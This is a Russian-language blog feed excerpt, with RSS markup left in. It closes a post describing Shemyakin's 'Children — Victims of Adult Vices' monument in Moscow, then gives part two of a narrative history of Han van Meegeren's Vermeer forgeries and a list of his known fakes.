Вот таким он был, когда мы увидели его в первый раз
  • Пропаганда насилия. Фигура в цилиндре с длинным носом, напоминающая Буратино, опирается на щит с изображением разного оружия, за которым прячется нога с копытом. В руке скульптуры — фонарь, освещающий книги, наверху лежит гитлеровское сочинение «Майн кампф».

  • Садизм. Толстокожий человек с головой носорога отлично подходит для иллюстрации этого порока, к тому же одет он в балахон мясника.

  • Беспамятство. Название единственного из пороков, который выражен не в одушевленных фигурах, а в предмете. Он представляет собой позорный столб с отверстиями для головы и рук — средневековое пыточное средство. На нем можно разглядеть змей и череп.

  • Эксплуатация детского труда. Человек с птичьей головой то ли орла, то ли вороны. Человек-птица приглашает всех на небольших размеров фабрику у его ног, где трудятся дети.

  • Нищета. Старая иссушенная босая старуха с посохом протягивает руку, прося милостыню.

  • Война. Последний персонаж в списке пороков. Фигура в рыцарских доспехах с противогазом склоняется к детям и протягивает им игрушку – всеми любимого Микки-Мауса, которая на самом деле является бомбой.

Первоначально памятник был открыт постоянно. Но после того, как любители поживиться цветным металлом, открыли на него охоту, композицию огородили забором, приставили охрану и ввели часы посещений с 9 утра до 9 вечера.

 

 

В сквер на Болотной площади часто приходят люди. Молодожены фотографируются на фоне причудливых изваяний, особо не придавая значения, затаенному в скульптуре смыслу. Многие композицию ругают, считают нелепой. Наверное, самый ярый противник, доктор психологических наук  Вера Абраменкова. Она считает, что Михаил Шемякин поставил памятник гигантским порокам, именно они, а не маленькие дети центральные персонажи. Но большинство людей  к памятнику относятся с пониманием, его называют правильным, к месту и ко времени. Скульптор затронул проблему, о которой нужно не говорить, а кричать. Только  Шемякин сделал это не при помощи слов, свои взгляды и убеждения автор увековечил в бронзе.

Как говорит сам художник, скульптура призвана обратить внимание людей на проблему спасения нынешнего и всех будущих поколений. Она производит неоднозначное впечатление и вызывает немало споров. Некоторые считают, что в композиции главными героями стали сами пороки, а не дети. Но, как видно на фото «Дети — жертвы пороков взрослых», с любого ракурса мальчик с девочкой, выполненные в золотистом цвете, выделяются на фоне мрачных вытянутых фигур. Она излучают какое-то тепло и добро, притягивая к себе, а аллегории пороков, наоборот, отталкивают.

Особую драматичность скульптуре придает тот факт, что изображенные дети не видят поджидающих и окружающих их пороков, отчего у тех, кто смотрит на композицию, возникает чувство тревоги, обеспокоенности и желание оградить ребят от этих жутких существ. Мальчик с девочкой протягивают руки, словно ощупывают пространство перед ними или пытаются что-то найти. Вероятно, это означает поиск себя в жизни и своей дороги, а пороки — возможные пути, которые пытаются переманить детей к себе. Большинство сходится во мнении, что это памятник, заставляющий задуматься о серьезной и важной проблеме.

 

]]> Как превзойти самого Вермеера. Часть 2. https://www.vladimirkoskov.ru/?p=2042 Fri, 26 Nov 2021 12:51:49 +0000 https://www.vladimirkoskov.ru/?p=2042 Начало здесь.

А началось все в 1937 году, когда к Аврааму Бредиусу, искусствоведу, который большую часть своей жизни посвятил изучению творчества Вермеера, обратился некий адвокат, который утверждал, что является попечителем голландского родового поместья. Адвокат предложил Бредиусу оценить довольно большую картину «Христа и учеников в Эммаусе». Впоследствии 83-летний историк искусства написал статью в журнале Бёрлингтон (Burlington Magazine). Журнал называли «художественной библией» того времени. И вот в нем-то Бредиус и заявил: «Это замечательный момент в жизни любителя искусства, когда он внезапно оказывается перед неизвестной до сих пор картиной великого мастера, нетронутой, на оригинальном холсте и без какой-либо реставрации, точно такой же, как она вышла из мастерской художника. И что за картина! Ни красивая подпись… ни пуантиль на хлебе, который благословляет Христос, не нужны, чтобы убедить нас, что мы имеем здесь — шедевр Иоганна Вермеера из Делфта совершенно непохожий на все его другие картины, и все же каждый дюйм Вермеера. Ни в одной другой картине великого мастера Делфта мы не находим такого чувства, такого глубокого понимания библейской истории — чувства, столь благородно человеческого выраженного посредством высочайшего искусства».  Авторитет Бредиуса был заработан не одним десятком лет. Его мнение считали евангелием в мире искусства, а его называли «Папой». Неудивительно, что все восприняли эту статью в журнале как сенсацию! Насколько ошеломительной была реакция общественности на найденную новую работу Вермеера, настолько поразительной и скандальной была в последствии истина. Тогда же Бредиус утверждал, что Вермеер находился под влиянием итальянской живописи, и подделка ван Меегерена особенно приветствовалась, поскольку она поддерживала эту теорию; именно то, на что надеялся ван Меегерен. Сначала ван Меегерен хотел раскрыть мошенничество — особенно потому, что он презирал именно Бредиуса, — но, когда он продал поддельного Вермеера за сумму, эквивалентную тому, что сейчас составляет несколько миллионов долларов, он, что неудивительно, передумал. К своему собственному удовлетворению, он получил доказательство тому, что голландский художественный истэблишмент был невежественным, и так и должно было быть, пока он мог хорошо зарабатывать. Не прошло и года, как картина была официально доставлена ​​в музей Бойманса ван Бёнингена, купленная на финансовые пожертвования: Stichting Rembrandt, роттердамского судовладелеца, Бредиус и еще несколько частных коллекционеров из Роттердама. В сентябре картина была впервые показана в музее среди 450 шедевров голландской живописи. Она стала яркой звездой последней выставки галереи «400 лет европейского искусства». Успех был потрясающий. У картины постоянно толпились восторженные посетители. Подавляющее большинство специалистов и критиков объявили «Христа в Эммаусе» одним из лучших и наиболее совершенных творений Вермеера Дельфтского.

Так «Христос и ученики в Эммаусе» вскоре стали главной достопримечательностью музея, которая долгое время считалась лучшим произведением Вермеера. И ведь никого тогда не смутило, что до этого в творчестве Вермеера никогда не появлялось религиозных сюжетов. Ван Меегерен создал «новую» область творчества великого художника. После Вермеера не осталось религиозных композиций, и ван Меегерен принялся писать их вместо него. Сначала он попробовал нарисовать несколько типичных вермееровских интерьерных композиций, которыми художник и был известен. Но потом быстро сообразив, что эти картины можно будет легко сравнить настоящими с работами Вермеера, висящими в музеях, ван Меегерен решил писать «раннего Вермеера» на религиозную тему по мотивам композиции Караваджо. И ему все сошло с рук! Ученые пошли у него на поводу – оказалось, что они давно подозревали, что Вермеер бывал в Италии, и утерянная картина, так удачно «найденная» ван Меегерена подтвердила это. Сюжет и ранняя техника рисования также помогли замаскировать его собственные технические и выразительные недостатки.

Как же ван Меегерену удалось состарить холст и краски? Настоящие холст и подрамник 17 века нетрудно было раздобыть в антикварных лавках — там продавалось множество заурядных картин того времени. Смыть картину и нарисовать новую было сложно, но вполне возможно. Главное — не применять вещества, которые вошли в обиход после эпохи Вермеера. Ван Меегерен научился сам приготовлять краски и нашел поставщиков других редких веществ. Главной проблемой был «кракелюр» — трещины, которые появляются на масляной картине лишь спустя десятилетия. Идея ван Меегерена заключалась в том, чтобы, очистив прежнее изображение, писать новое, тщательно сохраняя каждую трещинку. Самой большой проблемой было заставить масляную краску полностью затвердеть, а этот процесс обычно занимает 50 лет. Он решил дилемму, смешав свои пигменты с синтетической смолой, бакелитом, вместо масла, а затем обжигая холст. Он решил обратиться к последним достижениям химии. К концу 1934 года ему удалось изобрести такие масляные краски, которые в специальной печи при температуре 105°С затвердевали по истечении двух часов настолько, что их не брал обычный растворитель. На протяжении веков на поверхности картины накапливается пыль, которая въедается в малейшие трещинки. Ван Меегерен и тут находит гениальное решение. После того как высохнет слой лака на картине, он покрывает все полотно тонким слоем китайской туши. Тушь просочится в трещины, заполненные лаком, затем художнику остается лишь смыть китайскую тушь и лак с помощью скипидара, а тушь, проникшая в трещины, остается и создает видимость въевшейся пыли. Затем художник покрывает картину еще одним слоем лака сверху.

Теперь уже доподлинно известно, что «Тайную вечерю» в стиле Вермеера, ван Меегерен написал поверх картины семнадцатого века с изображением Говерта Флинка. Возможно, самой большой проблемой, с которой столкнулся ван Меегерен была секретность, в которой ему приходилось работать. Он не мог нанимать моделей, поскольку они могли говорить. осмелился на столь совершенную композицию, включающую 13 фигур в самых разных позах. В какой-то момент он украл прямо у Вермеера, используя голову Девы с жемчужной сережкой вместо головы святого Иоанна.

Хан ван Меегерен так и не отбыл свой срок. Спустя месяц, в возрасте 58 лет, он заболел из-за многолетнего злоупотребления наркотиками и алкоголем и умер в тюрьме от сердечного приступа. В 1950 году в его доме по адресу Кайзерсграхт, 321 в Амстердаме были проданы предметы домашнего обихода.

321, Кайзерсграхт, Амстердам

Ван Меегерен так и остался в истории как легендарный изготовитель фальшивок: его работы были найдены в крупных частных и государственных коллекциях произведений искусства по всему миру.  Потребовались годы, чтобы многие из его подделок были признаны таковыми. Многие из них теперь выставлены как самостоятельные работы с целью анализа того, как именно их стиль одурачил экспертов.

В конечном счете, величайшей подделкой ван Меегерена была история, которую он рассказал о себе. Эксперты предполагают, что его основным мотивом всегда были деньги, а подделки – всего лишь средство для достижения цели, способом поддерживать его расточительный образ жизни. Голландцы хотели верить, что у него были благородные намерения — обмануть и одурачить нацистов, но реальность была гораздо менее добродетельной и более эгоистичной. Ван Меегерен был не только мастером фальсификации, но и мастером сочинять сказки.

Список известных подделок Хана ван Меегерена

  1. Аналог «Смеющегося кавалера» по Франсу Хальсу (1923), когда-то ставший предметом скандала в Гааге в 1923 году, его нынешнее местонахождение неизвестно.
  2. Счастливый курильщик по Франсу Хальсу (1923) висит в Гронингерском музее в Нидерландах.
  3. Мужчина и женщина за спинетом 1932 г. (проданы амстердамскому банкиру доктору Фрицу Мангеймеру)
  4. Дама читает письмо 1935–1936 (не продано, выставлено в Рейксмузеуме).
  5. Дама играет на лютне и смотрит в окно, 1935–1936 (не продано, выставлено в Рейксмузеуме).
  6. Мужской портрет 1935–1936 гг. В стиле Герарда тер Борха (не продан, экспонируется в Рейксмузеуме).
  7. Пьющая женщина (версия Malle Babbe) 1935–1936 (не продана, выставлена ​​​​в Рейксмузеуме).
  8. Ужин в Эммаусе, 1936–1937 (продана Бойманам за 520 000–550 000 гульденов, что сегодня составляет около 300 000 долларов или 4 миллиона долларов)
  9. Интерьер с пьющими 1937–1938 гг. (Продан Д. Г. ван Бёнингену за 219 000–220 000 гульденов, около 120 000 долларов или 1,6 миллиона долларов на сегодняшний день)
  10. Тайная вечеря I, 1938–1939 гг.
  11. Интерьер с карточными игроками 1938–1939 (продан В. ван дер Ворму за 219 000–220 000 гульденов, 120 000 долларов или 1,6 миллиона долларов на сегодняшний день)
  12. Голова Христа, 1940–1941 (продана Д. Г. ван Бёнингену за 400 000–475 000 гульденов, около 225 000 долларов или 3,25 миллиона долларов на сегодняшний день)
  13. Тайная вечеря II, 1940–1942 (продана Д. Г. ван Бёнингену за 1 600 000 гульденов, около 600 000 долларов или 7 миллионов долларов на сегодняшний день)
  14. Благословение Иакова 1941–1942 (продано В. ван дер Ворму за 1 270 000 гульденов, около 500 000 долларов или 5,75 миллиона долларов на сегодняшний день)
  15. Христос с прелюбодейкой 1941–1942 (продан Герману Герингу за 1 650 000 гульденов, около 624 000 долларов или 6,75 миллиона долларов сегодня, сейчас находится в публичной коллекции Museum de Fundatie .)
  16. «Омовение ног» 1941–1943 гг. (Продано государству Нидерландов за 1 250 000–1 300 000 гульденов, около 500 000 долларов или 5,3 миллиона долларов сегодня, выставлено в Рейксмузеуме.)
  17. Иисус среди врачей, сентябрь 1945 г. (продан на аукционе за 3000 гульденов, сегодня около 800 или 7000 долларов)
  18. Сводница передана Институту Курто как подделка в 1960 году и подтверждена химическим анализом в 2011 году.
]]>